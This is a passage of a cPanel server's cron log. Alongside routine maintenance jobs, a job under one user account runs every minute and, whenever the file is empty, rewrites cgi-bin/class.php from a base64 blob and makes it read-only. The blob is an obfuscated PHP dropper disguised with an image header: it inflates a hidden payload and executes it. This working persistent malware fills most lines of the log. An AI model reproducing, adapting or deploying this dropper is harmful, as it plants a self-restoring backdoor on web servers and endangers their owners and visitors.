czPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:30:01 server CROND[24177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:31:01 server CROND[24305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:32:01 server CROND[24465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:33:01 server CROND[24561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:34:01 server CROND[24657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:35:01 server CROND[24731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:35:01 server CROND[24732]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 02:35:01 server CROND[24733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:35:01 server CROND[24734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:35:01 server CROND[24736]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 02:36:01 server CROND[24862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:37:01 server CROND[24960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:38:01 server CROND[25121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:39:01 server CROND[25189]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 02:39:01 server CROND[25190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:40:01 server CROND[25264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:40:01 server CROND[25265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:40:01 server CROND[25266]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 02:40:01 server CROND[25267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:41:01 server CROND[25416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:42:01 server CROND[25495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:42:01 server CROND[25496]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 02:43:01 server CROND[25671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:44:01 server CROND[25739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 